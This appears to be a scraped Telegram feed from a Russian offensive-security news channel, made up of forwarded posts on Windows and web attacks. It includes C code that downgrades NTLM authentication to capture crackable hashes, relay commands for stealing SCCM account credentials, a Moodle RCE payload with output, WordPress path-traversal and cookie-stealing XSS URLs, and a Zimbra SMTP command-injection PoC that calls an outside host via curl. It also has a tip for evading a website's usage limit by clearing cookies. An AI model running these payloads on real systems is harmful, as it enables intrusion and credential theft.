Pentester's Backlog
590 subscribers
313 photos
15 videos
44 files
426 links
Агрегатор новостей из мира наступательной безопасности.

EDUCATIONAL PURPOSES ONLY
Download Telegram
Forwarded from RedTeam brazzers (Pavel Shlundin)
Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;

ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

// Задержка 60 секунд
sleep(60);

NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

return 0;
}

Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c

В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.
Forwarded from SecuriXy.kz
#CVE-2024-22116 Critical RCE в Zabbix Monitoring Solution

An administrator with restricted permissions can exploit the lack of default escaping for script parameters.

CVSS 9.9

The vulnerability affects the following versions of Zabbix:
6.4.0 to 6.4.15
7.0.0alpha1 to 7.0.0rc2

Zabbix has addressed this issue in the following fixed versions:
6.4.16rc1
7.0.0rc3

https://support.zabbix.com/browse/ZBX-25016
Forwarded from Proxy Bar
CVE-2022-24834 Redis
*
Затронуто:
7.0.0 ≤ version < 7.0.12
6.2.0 ≤ version < 6.2.13
2.6.0 ≤ version < 6.0.20
*
Большой разбор + PoC exploit RCE
*
VideoPOC


#redis #rce
🥱2
Пс, там известная шпаргалка "TheHackerRecipes" переехала на собственный сайт.

This project is aimed at providing technical guides on various hacking topics. The most advanced topics are Active Directory and Web services.

https://www.thehacker.recipes/
Пупупу...

Достаём свои obsidian'ы и gitbook'и 😄
Please open Telegram to view this post
VIEW IN TELEGRAM
😍3🎉1😘1😡1
Forwarded from RedTeam brazzers (Миша)
Продолжим тему интересных вопросов с собесов, которые когда-то не вошли в подкаст :)) Думаю, все знают про MachineAccountQuota — количество компьютерных УЗ, которые могут добавлять пользователи в домен. Дефолтное значение 10. Однако, как этим злоупотреблять? В основном все вспоминают следующие основные кейсы:
- NTLM Relay / иной функционал абуза , для эксплуатации которого требуется компьютерная учетная запись, например, настройка RBCD
- Небезопасные ACL компьютерных учетных записей домена

Впрочем, есть еще один интересный вектор, который связан с SCCM и NAA (Network Access Accounts). Это специальные аккаунты, которые предоставляются SCCMом для того, чтобы клиент мог получить доступ к Distribution Point для загрузки необходимых файлов. Учетные данные от NAA в большинстве своем пушатся абсолютно на все компьютеры, управляемые SCCMом.

Если вдруг у передаваемой учетки недостаточно порезаны права, то у нас появляется вектор повышения привилегий :)

Итак, кейс первый. MAQ > 0 (или мы хакнули компьютерную УЗ). В таком случае берем инструмент sccmhunter и запускаем его следующим образом:
python sccmhunter.py http -auto -u pentest -p lolkekcheb123! -d abc.ru -dc-ip 192.168.0.1

Ключ -auto автоматически создаст УЗ. Можно указать уже существующую через -cp , -cn.

Однако, что если MAQ = 0? В таком случае мы можем осуществить ретрансляцию существующих кред любой машинной УЗ на SCCM и извлечь NAA-креды. Для этого берем форк , запускаем:
python3 ntlmrelayx.py -t http://sccm.sccmlab.local/ccm_system_windowsauth/request --sccm --sccm-device test12345 --sccm-fqdn sccm.sccmlab.local --sccm-sleep 10 -smb2support

-t <- Site Server, на который релеим
—sccm-device <- произвольное имя, которое появится в админке SCCM. Это имя как бы добавляемого устройства
—sccm-sleep <- таймаут, в течение которого ждать получения политики

Далее триггерим любым удобным способом любой компьютер. ntlmrelayx сдампит для нас любезно файл naapolicy.xml с учетными данными от NAA-аккаунта, которые можно расшифровать так, как показано в блоге.
Forwarded from Monkey Hacker
First hop, second hop

Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем нет, но решился глянуть что это.

1. Клиент использует TGT для запроса TGS с которым пойдет к Server-A

2. Клиент с Server-A хочет пойти на Server-B, но ничего не получается 😺

Это происходит в Kerberos потому, что Server-A не имеет TGT-клиента и его креденшалы просто не кешируются. Поэтому не будет способа доказать, что попытка аутентификации является действительной.

Используем PSExec и проблем не будет, т.к NTLM будет памяти. Однако представим, что PSExec нам не доступен и мы решили использовать WinRM. Но вот WinRM не даст нам коннекта, если мы попробуем запрыгнуть уже на второй хост, через первый, т.к кредов нет

Попробуем использовать PSCredential, чтобы как-то просто ходить к Server-B

PS C:\Users\sas\Documents> $SecPassword = ConvertTo-SecureString 'I_w@s_tir3d' -AsPlainText -Force 
PS C:\Users\sas\Documents> $Cred = New-Object System.Management.Automation.PSCredential('MONKEY\admin', $SecPassword)


Не забываем применить это все, путем Register-PSSessionConfiguration 🕺

PS C:\Users\sas\Documents> Register-PSSessionConfiguration -Name admin -RunAsCredential MONKEY\admin
PS C:\Users\sas\Documents> Restart-Service WinRM
PS C:\Users\sas\Documents> Enter-PSSession -ComputerName TEST02 -Credential MONKEY\admin -ConfigurationName admin


Теперь когда мы будем обращаться к Server-B, то никаких проблем не будет за счет предоставленных кред, а так же можем наблюдать наличие тикетов для нужных ресурсов.

Еще почитать про это можно тут, тут и тут 😇
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Cybred
https://blog.redteam-pentesting.de/2024/moodle-rce/

RCE в системе, которую любят использовать вузы во всем мире.

1. Создать вычисляемый вопрос
2. Изменить формулу ответа на
(1)->{system($_GET[chr(97)])}

3. Сохранить
4. Добавить к URL &a=id или любую другую команду

uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
<!DOCTYPE html>

<html dir="ltr" lang="en" xml:lang="en">
<head>
<title>Editing a Calculated question | Test</title>
[...]
👍1
😈
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3😎2
Forwarded from Proxy Bar
Прекрасное в мире плагинов WordPress
*
simple-image-manipulator
/wp-content/plugins/./simple-image-manipulator/controller/download.php?filepath=/etc/passwd

activehelper-livehelp
/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

amministrazione-aperta
/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=../../../../../../../../../../etc/passwd

anti-plagiarism
/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

buddypress-component-stats
/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd

dzs-videogallery
/wp-content/plugins/dzs-videogallery/admin/upload.php

e-search
/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

fancy-product-designer
/wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php

hd-webplayer
/wp-content/plugins/hd-webplayer/playlist.php

localize-my-post
/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd
🔴 Ахтунг!
Offensive Security обновили формат сдачи своего самого популярного экзамена OSCP!

Начиная с 1го ноября 2024г. пользователи имеют право обновить свой сертификат до версии OSCP+ (действителен 3 года), подтверждающий что данный человек сдал актуальную программу экзамена и ничего не забыл

🥲 Станет невозможным получить 10 дополнительных экзаменационных баллов за решение всех лабораторных работ.

Помимо прочего, изменения в сдаче экзамена так же коснутся по части внутреннего пентеста Active Directory (подробнее на скриншоте).

Стоимость обновления сертификата OSCP -> OSCP+
200$ (до 1 апреля 2025 г., после - 799$).
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2
💯5🤗1
Forwarded from SecuriXy.kz
Обновление легендарного инструмента #Impacket от Fortra до версии 0.12.0 включает несколько значительных улучшений:

1. Поддержка протоколов: Расширена поддержка Ethernet, Linux "Cooked" capture. IP, TCP, UDP, ICMP, IGMP, ARP. Поддержка IPv4 и IPv6. NMB и SMB1, SMB2 и SMB3 (высокоуровневые реализации). MSRPC версии 5, через различные транспорты: TCP, SMB/TCP, SMB/NetBIOS и HTTP. Обычная, NTLM и Kerberos аутентификация, с использованием паролей/хашей/билетов/ключей. Частичная/полная реализация следующих интерфейсов MSRPC: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI, OXABREF, NSPI, OXNSPI. Частичная реализация протоколов TDS (MSSQL) и LDAP.
2. Улучшение безопасности и Исправления багов
3. Поддержка новых версий Python3

Для полного списка изменений и загрузки новой версии вы можете посетить релиз на GitHub.


pipx install impacket
🥱3🔥1
Forwarded from 1N73LL1G3NC3
Сети глазами хакера.pdf
73.8 MB
🖥"Сети глазами хакера"

12 лучших работ @castercanal, для Xakep.ru.

P.S. Раз уж пираты выложили в паблик, то пусть будет и здесь. Кстати у автора есть канал.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥱1
Forwarded from Russian OSINT
Нашёл интересный сайт под названием - 🤖OverallGPT. Он даёт возможность сравнивать ответы различных LLM. Например, если написать: "Что появилось раньше — курица или яйцо?" => можно получить ответы от OpenAI GPT-4o, Anthropic Claude 3.5 Sonnet, Google Gemini 1.5 flash и Llama 3.1 405B Instruct Turbo. Все ИИ-модели убеждены в том, что 🐣яйцо.

⬇️ https://overallgpt.com/

💻 Лайфхак: для бесплатного использоваться даётся всего 2 попытки, но если 🧹очистить куки и permissions, то попытки бесконечные. Через тот же Bypass Paywalls Clean можно в один клик это делать.

🛡@Russian_OSINT
Please open Telegram to view this post
VIEW IN TELEGRAM
❤‍🔥11🔥1
Forwarded from 1N73LL1G3NC3
Zimbra - Remote Command Execution (CVE-2024-45519)

In this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually.

Proof of Concept (PoC)
With postjournal service enabled (port 10027), we ran our exploit against SMTP port 25 and observed successful command execution.
EHLO localhost
MAIL FROM: <aaaa@mail.domain.com>
RCPT TO: <"aabbb$(curl${IFS}oast.me)"@mail.domain.com>
DATA
Test message
.


Automating vulnerability detection with Nuclei: https://github.com/projectdiscovery/nuclei-templates/pull/10860/commits/d22c7d3315511f10fbd629518bf97c8105081730
👍2🔥1
Forwarded from RedTeam brazzers (Миша)
Всех с понедельничним обзором картошек!!! :)

Зачастую наличие привилегии SeImpersonatePrivilege ведет к повышению привилегий до системы. Однако я нигде не видел достаточно структурированной информации, в которой описывались бы не сами инструменты, а общий принцип их работы. Пора исправлять :)

Концептуально потатосы можно разделить на:
- DCOM-Based - огромная часть сплойтов абузит именно DCOM. Там в нескольких местах у нас вылезает аутентификация, выстраивается контекст, и из него уже можно извлечь токен. Примерно того же принципа придерживается и Krb Relay-штуки. Разве что мы там ловим тикет и идем с ним куда-нибудь, а здесь мы атакуем локальную систему. Как — узнаете уже очень скоро :)) Прошу прощения, видос с UnderConf задерживается, но я уже активно занимаюсь перегонкой материала в текстовый формат на хабре, с добавлением всяких штучек-дрючек :) Сюда входят JuicyPotatoNG, RottenPotato, LonelyPotato, JuicyPotato, RemotePotato, SweetPotato, GodPotato, RoguePotato, LocalPotato
- Через кражу токена. Но это более редкий чейн, если у нас есть еще и SeDebugPrivilege, то мы можем стащить с любого чужого процесса токен и нацепить на свой пейлоад через CreateProcessWithTokenW(). POC
- Захват WPAD-аутентификации с NTLM Reflection атакой. Метод был пропатчен в MS16-075. Впрочем, POC HotPotato есть.
- Злоупотребление кешем LSA. Для предотвращения атак NTLM Reflection майкрософты придумали ввести некоторый список ресурсов, который хранился внутри LSA. Все заключалось в том, что LSASS стал хранить в кэше список всех недавно выданных NTLM Challenges с соответствующей службой, чтобы обнаружить попытки NTLM Reflection. Собственно, проводя сопоставление между челленджем и службой, на которой происходит аутентификация, можно было определить атаку. Косяк заключался в том, что кеш имел достаточно маленькое время жизни (300 секунд), после чего очищался. Хакеру оставалось разве что подождать это время, после чего дернуть LSA и эскалироваться. POC называется GhostPotato. Метод тоже уже пропатчен.
- Злоупотребление функциями имперсонации. В OSEP с нами делились сплойтом PrintSpoofer. Кто забыл, это вариант эксплуатации SeDebug через вызов функции принтера, которая принимает конкретную конечную точку — именованный канал (пайп). Хакер поднимал собственный пайп, триггерил функцией систему , и система приходила на пайп. Хакеру оставалось разве что вызвать ImpersonateNamedPipeClient() для захвата учетной записи. Мало кто знает, но есть и другие уязвимые службы! DiagTrack — DiagTrackEop, RasMan service — RasmanPotato, AzureAttestService — magicAzureAttestService. Но не пайпами едиными. В COM тоже есть функция по имперсонации, называется CoImpersonateClient(), ею злоупотребляли в DCOMPotato .

Наконец, есть и более общий вариант, который лишь поднимает службы HTTP и SMB. Как заставить систему зайти на них — дело ваше. В случае HTTP отдастся 401 запрос с захватом аутентификации, в случае SMB — имперсонация. Такая картошка называется GenericPotato
1
Forwarded from 1N73LL1G3NC3
KrbRelay-SMBServer

This krbrelay version acts as an SMB server (instead of DCOM) to relay Kerberos AP-REQ to CIFS or HTTP.

Relaying SMB to HTTP (ADCS) with a modified version of krbrelay using DFSCoerce and PetitPotam - classic ESC8 attack with Kerberos, no DCOM involved ;)
👍1